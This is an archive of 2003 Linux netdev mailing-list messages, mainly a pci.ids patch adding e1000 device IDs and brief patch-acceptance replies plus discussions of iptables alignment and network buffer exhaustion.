(8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8C0fQw04303 for ; Fri, 12 Sep 2003 00:41:26 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxv040-1.fm.intel.com [132.233.48.108]) by petasus.py.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8C0jrK08701 for ; Fri, 12 Sep 2003 00:45:53 GMT Received: from [134.134.3.171] ([134.134.3.171]) by fmsmsxvs040.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091117460822158 ; Thu, 11 Sep 2003 17:46:08 -0700 Date: Thu, 11 Sep 2003 18:11:16 -0700 (PDT) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com Subject: [PATCH 2.6] pci.ids for e1000 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5818 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 5120 Lines: 116 * Add missing Device and Subdevice IDs for devices support by e1000. I've updated pciids.sourceforge.net, but those changes don't seem to be getting approved/pushed out. ---------------- --- linux-2.6.0-test5/drivers/pci/pci.ids 2003-09-08 12:50:06.000000000 -0700 +++ linux-2.6.0-test5/drivers/pci/pci.ids.new 2003-09-11 17:45:32.000000000 -0700 @@ -6228,28 +6228,73 @@ 8086 1004 PRO/1000 T Server Adapter 8086 2004 PRO/1000 T Server Adapter 1008 82544EI Gigabit Ethernet Controller (Copper) + 1014 0269 iSeries 1000/100/10 Ethernet Adapter + 1028 011c PRO/1000 XT Network Connection 8086 1107 PRO/1000 XT Server Adapter 8086 2107 PRO/1000 XT Server Adapter 8086 2110 PRO/1000 XT Server Adapter + 8086 3108 PRO/1000 XT Network Connection 1009 82544EI Gigabit Ethernet Controller (Fiber) + 1014 0268 iSeries Gigabit Ethernet Adapter 8086 1109 PRO/1000 XF Server Adapter 8086 2109 PRO/1000 XF Server Adapter 100c 82544GC Gigabit Ethernet Controller (Copper) 8086 1112 PRO/1000 T Desktop Adapter 8086 2112 PRO/1000 T Desktop Adapter 100d 82544GC Gigabit Ethernet Controller (LOM) + 1028 0123 PRO/1000 XT Network Connection + 107b 891f 82544GC Based Network Connection + 8086 110d 82544GC Based Network Connection 100e 82540EM Gigabit Ethernet Controller + 1014 0265 PRO/1000 MT Network Connection + 1014 0267 PRO/1000 MT Network Connection + 1014 026a PRO/1000 MT Network Connection + 107b 8920 PRO/1000 MT Desktop Adapter 8086 001e PRO/1000 MT Desktop Adapter 8086 002e PRO/1000 MT Desktop Adapter 100f 82545EM Gigabit Ethernet Controller (Copper) + 1014 0269 iSeries 1000/100/10 Ethernet Adapter + 1014 028e PRO/1000 MT Network Connection + 8086 1000 PRO/1000 MT Network Connection 8086 1001 PRO/1000 MT Server Adapter 1010 82546EB Gigabit Ethernet Controller (Copper) + 1014 027c PRO/1000 MT Dual Port Network Adapter 8086 1011 PRO/1000 MT Dual Port Server Adapter + 8086 101a PRO/1000 MT Dual Port Network Adapter 1011 82545EM Gigabit Ethernet Controller (Fiber) + 1014 0268 iSeries Gigabit Ethernet Adapter 8086 1002 PRO/1000 MF Server Adapter + 8086 1003 PRO/1000 MF Server Adapter (LX) 1012 82546EB Gigabit Ethernet Controller (Fiber) 8086 1012 PRO/1000 MF Dual Port Server Adapter 1015 82540EM Gigabit Ethernet Controller (LOM) + 1016 82540EP Gigabit Ethernet Controller + 1014 052C PRO/1000 MT Mobile Connection + 1179 0001 PRO/1000 MT Mobile Connection + 8086 1016 PRO/1000 MT Mobile Connection + 1017 82540EP Gigabit Ethernet Controller + 8086 1017 PR0/1000 MT Desktop Connection + 1018 82541EP Gigabit Ethernet Controller + 8086 1018 PRO/1000 MT Desktop Adapter + 1019 82547EI Gigabit Ethernet Controller + 8086 1019 PRO/1000 CT Desktop Adapter + 101d 82546EB Gigabit Ethernet Controller + 8086 1000 PRO/1000 MT Quad Port Server Adapter + 101e 82540EP Gigabit Ethernet Controller + 1014 0549 PRO/1000 MT Mobile Connection + 8086 101e PRO/1000 MT Mobile Connection + 1026 82545GM Gigabit Ethernet Controller + 8086 1000 PRO/1000 MT Server Connection + 8086 1001 PRO/1000 MT Server Adapter + 8086 1002 PRO/1000 MT Server Adapter + 8086 1026 PRO/1000 MT Server Connection + 1027 82545GM Gigabit Ethernet Controller + 8086 1001 PRO/1000 MF Server Adapter(LX) + 8086 1002 PRO/1000 MF Server Adapter(LX) + 8086 1003 PRO/1000 MF Server Adapter(LX) + 8086 1027 PRO/1000 MF Server Adapter + 1028 82545GM Gigabit Ethernet Controller + 8086 1028 PRO/1000 MB Server Adapter 1029 82559 Ethernet Controller 1030 82559 InBusiness 10/100 1031 82801CAM (ICH3) PRO/100 VE (LOM) Ethernet Controller @@ -6279,6 +6324,31 @@ 8086 a01f PRO/10GbE LR Server Adapter 8086 a11f PRO/10GbE LR Server Adapter 1059 82551QM Ethernet Controller + 1075 82547EI Gigabit Ethernet Controller + 8086 0075 PRO/1000 CT Network Connection + 8086 1075 PRO/1000 CT Network Connection + 1076 82541EI Gigabit Ethernet Controller + 8086 0076 PRO/1000 MT Network Connection + 8086 1076 PRO/1000 MT Network Connection + 8086 1176 PRO/1000 MT Desktop Adapter + 8086 1276 PRO/1000 MT Network Adapter + 1077 82541EI Gigabit Ethernet Controller + 1179 0001 PRO/1000 MT Mobile Connection + 8086 0077 PRO/1000 MT Mobile Connection + 8086 1077 PRO/1000 MT Mobile Connection + 1078 82541EI Gigabit Ethernet Controller + 8086 1078 PRO/1000 MT Network Connection + 1079 82546EB Gigabit Ethernet Controller + 8086 0079 PRO/1000 MT Dual Port Network Connection + 8086 1079 PRO/1000 MT Dual Port Network Connection + 8086 1179 PRO/1000 MT Dual Port Server Adapter + 8086 117a PRO/1000 MT Dual Port Server Adapter + 107a 82546EB Gigabit Ethernet Controller + 8086 107a PRO/1000 MF Dual Port Server Adapter + 8086 127a PRO/1000 MF Dual Port Server Adapter + 107b 82546EB Gigabit Ethernet Controller + 8086 007b PRO/1000 MB Dual Port Server Connection + 8086 107b PRO/1000 MB Dual Port Server Connection 1130 82815 815 Chipset Host Bridge and Memory Controller Hub 1025 1016 Travelmate 612 TX 1043 8027 TUSL2-C Mainboard From davem@pizda.ninka.net Thu Sep 11 18:10:07 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 18:10:13 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C1A6Ya007634 for ; Thu, 11 Sep 2003 18:10:07 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id RAA13844; Thu, 11 Sep 2003 17:59:07 -0700 Date: Thu, 11 Sep 2003 17:59:07 -0700 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com, levon@movementarian.org Subject: Re: [PATCH][ATM] a few patches from John Levon Message-Id: <20030911175907.0d480a98.davem@redhat.com> In-Reply-To: <200309041917.h84JHrSa020864@ginger.cmf.nrl.navy.mil> References: <200309041917.h84JHrSa020864@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5819 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 860 Lines: 22 On Thu, 04 Sep 2003 15:17:55 -0400 chas williams wrote: > # The following is the BitKeeper ChangeSet Log > # -------------------------------------------- > # 03/09/04 chas@relax.cmf.nrl.navy.mil 1.1422 > # [ATM]: fix atm_dev module refcount bug (from levon@movementarian.org) > # -------------------------------------------- > # ... > # The following is the BitKeeper ChangeSet Log > # -------------------------------------------- > # 03/09/04 chas@relax.cmf.nrl.navy.mil 1.1422 > # [ATM]: fix atm_dev module refcount bug (from levon@movementarian.org) > # -------------------------------------------- > # You're sending double patches again Chas. This would all actually be easier if you sent each ATM patch in a seperate email. When you send them all in one group it's harder to seperate out each one for discussion or comments. From davem@pizda.ninka.net Thu Sep 11 18:10:52 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 18:10:55 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C1AqYa007878 for ; Thu, 11 Sep 2003 18:10:52 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id RAA13867; Thu, 11 Sep 2003 17:59:55 -0700 Date: Thu, 11 Sep 2003 17:59:55 -0700 From: "David S. Miller" To: "YOSHIFUJI Hideaki / _$B5HF#1QL@" Cc: netdev@oss.sgi.com Subject: Re: [PATCH 1/3] NET: Use proc_net_fops_create() and proc_net_remove() in net/core Message-Id: <20030911175955.6e590d55.davem@redhat.com> In-Reply-To: <20030908.034102.33137738.yoshfuji@linux-ipv6.org> References: <20030908.034102.33137738.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5820 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 198 Lines: 6 On Mon, 08 Sep 2003 03:41:02 +0900 (JST) YOSHIFUJI Hideaki / _$B5HF#1QL@ wrote: > [1/3] Use proc_net_fops_create() and proc_net_remove() in net/core. Applied, thank you. From davem@pizda.ninka.net Thu Sep 11 18:11:28 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 18:11:31 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C1BSYa008259 for ; Thu, 11 Sep 2003 18:11:28 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id SAA13889; Thu, 11 Sep 2003 18:00:31 -0700 Date: Thu, 11 Sep 2003 18:00:31 -0700 From: "David S. Miller" To: "YOSHIFUJI Hideaki / _$B5HF#1QL@" Cc: netdev@oss.sgi.com Subject: Re: [PATCH 2/3] NET: Use proc_net_fops_create() and proc_net_remove() in net/ipv4 Message-Id: <20030911180031.3b66de75.davem@redhat.com> In-Reply-To: <20030908.034105.113815606.yoshfuji@linux-ipv6.org> References: <20030908.034105.113815606.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5821 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 198 Lines: 6 On Mon, 08 Sep 2003 03:41:05 +0900 (JST) YOSHIFUJI Hideaki / _$B5HF#1QL@ wrote: > [2/3] Use proc_net_fops_create() and proc_net_remove() in net/ipv4. Applied, thank you. From davem@pizda.ninka.net Thu Sep 11 18:11:52 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 18:11:55 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C1BpYa008487 for ; Thu, 11 Sep 2003 18:11:51 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id SAA13911; Thu, 11 Sep 2003 18:00:55 -0700 Date: Thu, 11 Sep 2003 18:00:54 -0700 From: "David S. Miller" To: "YOSHIFUJI Hideaki / _$B5HF#1QL@" Cc: netdev@oss.sgi.com Subject: Re: [PATCH 3/3] NET: Use proc_net_fops_create() and proc_net_remove() in net/ipv6 Message-Id: <20030911180054.1800ea75.davem@redhat.com> In-Reply-To: <20030908.034107.96819866.yoshfuji@linux-ipv6.org> References: <20030908.034107.96819866.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5822 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 198 Lines: 6 On Mon, 08 Sep 2003 03:41:07 +0900 (JST) YOSHIFUJI Hideaki / _$B5HF#1QL@ wrote: > [3/3] Use proc_net_fops_create() and proc_net_remove() in net/ipv6. Applied, thank you. From davem@pizda.ninka.net Thu Sep 11 18:13:31 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 18:13:34 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C1DVYa009021 for ; Thu, 11 Sep 2003 18:13:31 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id SAA13961; Thu, 11 Sep 2003 18:02:35 -0700 Date: Thu, 11 Sep 2003 18:02:35 -0700 From: "David S. Miller" To: Stephen Hemminger Cc: bridge@osdl.org, netdev@oss.sgi.com Subject: Re: [PATCH 2.6] clear hw checksum flags when bridging Message-Id: <20030911180235.3d5c91f6.davem@redhat.com> In-Reply-To: <20030908093649.5b6dafc1.shemminger@osdl.org> References: <20030908093649.5b6dafc1.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5823 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 189 Lines: 6 On Mon, 8 Sep 2003 09:36:49 -0700 Stephen Hemminger wrote: > same patch as 2.4, just the offsets are changed. Both 2.4.x and 2.6.x versions applied, thanks Stephen. From davem@pizda.ninka.net Thu Sep 11 18:26:23 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 18:26:26 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C1QNYa009979 for ; Thu, 11 Sep 2003 18:26:23 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id SAA14052; Thu, 11 Sep 2003 18:15:26 -0700 Date: Thu, 11 Sep 2003 18:15:26 -0700 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com, mitch@sfgoth.com Subject: Re: [PATCH][ATM] don't export llc_oui Message-Id: <20030911181526.4dbd7794.davem@redhat.com> In-Reply-To: <200309082050.h88KoUSa003672@ginger.cmf.nrl.navy.mil> References: <200309082050.h88KoUSa003672@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5825 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 233 Lines: 7 On Mon, 08 Sep 2003 16:50:30 -0400 chas williams wrote: > llc_oui[] is only used in two places. the overhead of exporting > probably isnt worth the effort. please apply to 2.6. -- thanks! Applied, thanks. From davem@pizda.ninka.net Thu Sep 11 18:25:51 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 18:25:56 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C1PpYa009835 for ; Thu, 11 Sep 2003 18:25:51 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id SAA14028; Thu, 11 Sep 2003 18:14:51 -0700 Date: Thu, 11 Sep 2003 18:14:51 -0700 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com, romieu@fr.zoreil.com Subject: Re: [PATCH][ATM] seqfile conversion for net/atm/proc.c Message-Id: <20030911181451.0cdaca5a.davem@redhat.com> In-Reply-To: <200309082041.h88KfISa003500@ginger.cmf.nrl.navy.mil> References: <200309082041.h88KfISa003500@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5824 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 196 Lines: 7 On Mon, 08 Sep 2003 16:41:19 -0400 chas williams wrote: > please apply to 2.6 (please note this patch has been split into > 8 pieces) -- thanks All applied, thanks Chas. From davem@pizda.ninka.net Thu Sep 11 18:27:18 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 18:27:21 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C1RHYa010479 for ; Thu, 11 Sep 2003 18:27:17 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id SAA14082; Thu, 11 Sep 2003 18:16:22 -0700 Date: Thu, 11 Sep 2003 18:16:22 -0700 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][ATM][2.4] lane/mpoa locking cleanup Message-Id: <20030911181622.6c4185c5.davem@redhat.com> In-Reply-To: <200309082132.h88LWRSa004358@ginger.cmf.nrl.navy.mil> References: <200309082132.h88LWRSa004358@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5826 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 190 Lines: 7 On Mon, 08 Sep 2003 17:32:28 -0400 chas williams wrote: > this is a backport of the 2.6 lane/mpoa locking cleanup. > please apply to 2.4 -- thanks Applied, thanks. From davem@pizda.ninka.net Thu Sep 11 18:29:09 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 18:29:12 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C1T7Ya010819 for ; Thu, 11 Sep 2003 18:29:09 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id SAA14136; Thu, 11 Sep 2003 18:18:10 -0700 Date: Thu, 11 Sep 2003 18:18:10 -0700 From: "David S. Miller" To: Dave Jones Cc: netdev@oss.sgi.com Subject: Re: !CONFIG_PROC_FS fix for ipv6 Message-Id: <20030911181810.6ce1ab02.davem@redhat.com> In-Reply-To: <20030909092247.GA23468@redhat.com> References: <20030909092247.GA23468@redhat.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5827 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 115 Lines: 6 On Tue, 9 Sep 2003 10:22:47 +0100 Dave Jones wrote: > Against 2.6.test5 Applied, thanks Dave. From davem@pizda.ninka.net Thu Sep 11 18:33:29 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 18:33:32 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C1XTYa011234 for ; Thu, 11 Sep 2003 18:33:29 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id SAA14249; Thu, 11 Sep 2003 18:22:23 -0700 Date: Thu, 11 Sep 2003 18:22:23 -0700 From: "David S. Miller" To: David Woodhouse Cc: netdev@oss.sgi.com, shemminger@osdl.org, makx@qualcomm.com, marcel@holtmann.org Subject: Re: Bluetooth BUG() in set_sk_owner(). Message-Id: <20030911182223.2e9b7118.davem@redhat.com> In-Reply-To: <1063184337.32473.529.camel@hades.cambridge.redhat.com> References: <1063184337.32473.529.camel@hades.cambridge.redhat.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5828 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 349 Lines: 9 On Wed, 10 Sep 2003 09:58:57 +0100 David Woodhouse wrote: > It loks like the recent addition of sk_set_owner() to > bt_sock_alloc() was bogus... some of the callers of bt_sock_alloc() > already do that for This patch reverts it, and makes the remaining > callers also set the owner for themselves... Applied, thanks David. From hadi@cyberus.ca Thu Sep 11 18:41:21 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 18:41:26 -0700 (PDT) Received: from mail.cyberus.ca (mail.cyberus.ca [209.195.118.111]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C1fKYa011694 for ; Thu, 11 Sep 2003 18:41:21 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.9]) by mail.cyberus.ca with esmtp (Exim 4.12) id 19xcw2-0004EW-00; Thu, 11 Sep 2003 21:41:19 -0400 Subject: Re: ipt_physdev.c alignment problems on parisc64 From: jamal Reply-To: hadi@cyberus.ca To: Harald Welte Cc: "David S. Miller" , Bart De Schuymer , acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com In-Reply-To: <20030905153152.GA3623@obroa-skai.de.gnumonks.org> References: <200309022116.41697.bdschuym@pandora.be> <20030903200426.59d0af4a.davem@redhat.com> <20030905153152.GA3623@obroa-skai.de.gnumonks.org> Content-Type: text/plain Organization: jamalopolis Message-Id: <1063330846.1028.11.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 11 Sep 2003 21:40:46 -0400 Content-Transfer-Encoding: 7bit X-archive-position: 5829 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Content-Length: 689 Lines: 24 Harald, Could you not resolve all the ifindices of the said ppp+ interfaces at rule installation time and do an integer compare instead? cheers, jamal On Fri, 2003-09-05 at 11:31, Harald Welte wrote: > > > > Please, just remove the super-silly memcmp() optimization in > > the ipt_physdev.c code. > > Dave, the respective code in ipt_physdev.c seems to be copied from > the ip_tables.c interface name match (which definitely has the same > alignment issues, btw). > > The problem is that it is _not_ a simple reimplementation of memcmp(), > but a mask-compare. > > People can do stuff like "-i ppp+", meaning that traffic from all > interfaces called "ppp" are matched. From greearb@candelatech.com Thu Sep 11 18:46:44 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 18:46:49 -0700 (PDT) Received: from grok.yi.org (evrtwa1-ar2-4-35-048-180.evrtwa1.dsl-verizon.net [4.35.48.180]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C1kiYa012181 for ; Thu, 11 Sep 2003 18:46:44 -0700 Received: from candelatech.com (localhost.localdomain [127.0.0.1]) by grok.yi.org (8.12.8/8.12.8) with ESMTP id h8C1kODx012454; Thu, 11 Sep 2003 18:46:25 -0700 Message-ID: <3F612570.1010303@candelatech.com> Date: Thu, 11 Sep 2003 18:46:24 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5b) Gecko/20030827 X-Accept-Language: en-us, en MIME-Version: 1.0 To: dada1 CC: "Nakajima, Jun" , Andi Kleen , linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Network buffer hang was Re: [PATCH] 2.6 workaround for Athlon/Opteron prefetch errata References: <0a5801c37821$54eb8180$890010ac@edumazet> <20030911051121.GA7751@colin2.muc.de> <0a7701c37829$c4bdef40$890010ac@edumazet> <20030911120956.GB7751@colin2.muc.de> <0b2901c37867$1db399a0$890010ac@edumazet> In-Reply-To: <0b2901c37867$1db399a0$890010ac@edumazet> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5830 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Content-Length: 663 Lines: 19 dada1 wrote: >>>This is not a kernel crash. But total freeze as all memory is used by >>>network buffers, in no more than 10 seconds. I believe I have hit this as well, by starting 500kbps streams on 500 vlans at once. My machine locks so hard that I have not been able to get any info out of it...but the realtek driver shows and error message about not being able to allocate any buffers if I ping it.... I was using kernel 2.4.21 or so, and had tcp buffers turned up quite high. I have seen this on P-IV and AMD (single Athlon) systems, as well as a VIA C3. -- Ben Greear Candela Technologies Inc http://www.candelatech.com From davem@pizda.ninka.net Thu Sep 11 18:52:00 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 18:52:03 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C1pxYa012619 for ; Thu, 11 Sep 2003 18:52:00 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id SAA14337; Thu, 11 Sep 2003 18:41:03 -0700 Date: Thu, 11 Sep 2003 18:41:03 -0700 From: "David S. Miller" To: Ben Greear Cc: dada1@cosmosbay.com, jun.nakajima@intel.com, ak@muc.de, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Network buffer hang was Re: [PATCH] 2.6 workaround for Athlon/Opteron prefetch errata Message-Id: <20030911184103.2646b189.davem@redhat.com> In-Reply-To: <3F612570.1010303@candelatech.com> References: <0a5801c37821$54eb8180$890010ac@edumazet> <20030911051121.GA7751@colin2.muc.de> <0a7701c37829$c4bdef40$890010ac@edumazet> <20030911120956.GB7751@colin2.muc.de> <0b2901c37867$1db399a0$890010ac@edumazet> <3F612570.1010303@candelatech.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5831 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 282 Lines: 8 On Thu, 11 Sep 2003 18:46:24 -0700 Ben Greear wrote: > I was using kernel 2.4.21 or so, and had tcp buffers turned up > quite high. You seal your own fate by setting this too high. It's meant to keep TCP from commiting too much system memory to itself. From ricardoz@us.ibm.com Thu Sep 11 19:21:15 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 19:21:20 -0700 (PDT) Received: from e5.ny.us.ibm.com (e5.ny.us.ibm.com [32.97.182.105]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8C2L8Ya014137 for ; Thu, 11 Sep 2003 19:21:14 -0700 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e5.ny.us.ibm.com (8.12.9/8.12.2) with ESMTP id h8C2KM0H640830; Thu, 11 Sep 2003 22:20:22 -0400 Received: from d01ml063.pok.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8C2KKD6175790; Thu, 11 Sep 2003 22:20:21 -0400 In-Reply-To: <1063330463.1028.8.camel@jzny.localdomain> Importance: Normal Sensitivity: Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default To: hadi@cyberus.ca Cc: greearb@candelatech.com, jgarzik@pobox.com, scott.feldman@intel.com, netdev@oss.sgi.com X-Mailer: 